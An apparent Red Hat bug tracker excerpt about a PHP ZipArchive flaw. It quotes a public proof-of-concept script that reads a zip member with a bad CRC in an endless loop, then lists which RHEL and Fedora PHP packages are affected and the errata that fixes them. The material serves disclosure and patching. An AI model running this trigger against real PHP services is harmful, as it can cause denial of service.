Public PoC from [2]:
====================
$o = new ZipArchive();
if (! $o->open('test.zip',ZipArchive::CHECKCONS)) {
        exit ('error can\'t open');
}
$o->getStream('file2'); // this file is ok
echo "OK";
$r = $o->getStream('file1'); // this file has a wrong crc
while (! feof($r)) {
        fread($r,1024);
}
echo "never here\n";

?>

This issue did NOT affect the versions of the php package, as shipped
with Red Hat Enterprise Linux 4 and 5.

--

This issue affects the version of the php53 package, as shipped with
Red Hat Enterprise Linux 5.

This issue affects the version of the php package, as shipped with
Red Hat Enterprise Linux 6.

--

This issue does NOT affect the versions of the php package, as shipped
with Fedora release of 13 and 14 (particular package updates have been
already scheduled).

This issue has been addressed in following products:

  Red Hat Enterprise Linux 5
  Red Hat Enterprise Linux 6

Via RHSA-2011:1423 https://rhn.redhat.com/errata/RHSA-2011-1423.html

Statement:

(none)